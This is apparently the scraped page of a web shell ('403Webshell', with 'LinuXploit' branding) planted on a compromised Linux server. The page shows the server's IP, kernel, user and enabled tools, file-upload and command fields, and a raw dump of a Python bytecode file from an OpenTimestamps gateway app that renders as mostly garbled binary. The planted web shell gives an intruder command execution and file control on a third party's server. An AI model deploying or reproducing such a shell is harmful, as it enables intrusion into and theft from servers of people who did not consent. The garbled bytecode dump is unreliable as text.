403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/ccp-ots-gateway/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/ccp-ots-gateway/__pycache__/app.cpython-311.pyc
�

�fci���R�ddlZddlZddlZddlmZmZmZee��Zej	�
dd��Zej	�
dd��Zej
d��Zd�Ze�d	��d
���Ze�
d��d���ZdS)
�N)�Flask�request�jsonify�CCP_OTS_DIRz/var/lib/ccp-ots�
CCP_OTS_TOKEN�z^[a-f0-9]{64}$c�\�tsdS|j�dd��tkS)NTzX-CCP-Tokenr)�TOKEN�headers�get)�reqs �/opt/ccp-ots-gateway/app.py�
require_tokenrs*�����t��;�?�?�=�"�-�-��6�6�z/stampc�X�tt��stddi��dfStjd���pi}|�d��pd������}t�|��stddi��d	fStj
td�
��tj�
t|�d���}|dz}t|d
d���5}|�|dz��ddd��n#1swxYwYtj�|��sHt#jdd|gdd���}|jdkr#td|jpddd�d���dfStd|||d���S)N�error�unauthorized�T)�silent�sha256r�invalid_sha256�)�exist_ok�.txt�.ots�wzutf-8)�encoding�
�ots�stamp��capture_output�textr�ots_stamp_failedi���)r�detailsi�)�okr�commit_file�ots_file)rrr�get_jsonr�strip�lower�HASH_RE�match�os�makedirs�	STORE_DIR�path�join�open�write�exists�
subprocess�run�
returncode�stderr)�data�h�txt_path�ots_path�f�ps      rr r s�����!�!�7����0�1�1�3�6�6���4�(�(�(�.�B�D�	
���(�	�	�	!�r�(�(�*�*�0�0�2�2�A��=�=����9���!1�2�3�3�S�8�8��K�	�D�)�)�)�)��w�|�|�I�!�z�z�z�2�2�H��&� �H�
�h��g�	.�	.�	.��!�	����D������������������������7�>�>�(�#�#�c��N�E�7�H�5�d�QU�V�V�V���<�1����%7�Q�X�^�QS�UY�UZ�UZ�D[�\�\�]�]�_b�b�b������	����s�D&�&D*�-D*z/status/<sha256>c��tt��stddi��dfS|pd������}t
�|��stddi��dfStj�	t|�d���}|dz}tj�|��std	d
d���dfStj
d
d|gdd���}|jpddz|jpdz���}d|vsd|vrdnd}td|||dd�d���S)NrrrrrrrrF�missing)r&�statusi�r�verifyTr!r�Success�Verified�anchored�pendingi$���)r&rrB�raw)rrrr*r+r,r-r.r1r2r0r5r6r7�stdoutr9)rr;r<r=r?�out�
status_vals       rrBrB1sb����!�!�7����0�1�1�3�6�6�	��2�����$�$�&�&�A��=�=����9���!1�2�3�3�S�8�8��w�|�|�I�!�z�z�z�2�2�H��&� �H�
�7�>�>�(�#�#�@��e�y�9�9�:�:�C�?�?����x��2�4�d�S�S�S�A�
�H�N��d�"�a�h�n�"�5�
<�
<�
>�
>�C�!*�S� 0� 0�J�#�4E�4E���I�J������5�6�6�{�	����r)r.�rer6�flaskrrr�__name__�APP�environrr0r
�compiler,r�postr rB�rr�<module>rTs���	�	�	�	�	�	�	�	�����)�)�)�)�)�)�)�)�)�)��e�H�o�o���J�N�N�=�*<�=�=�	�
�
�����+�+��
�"�*�&�
'�
'��7�7�7�
���(��������>���	���������r

Youez - 2016 - github.com/yon3zu
LinuXploit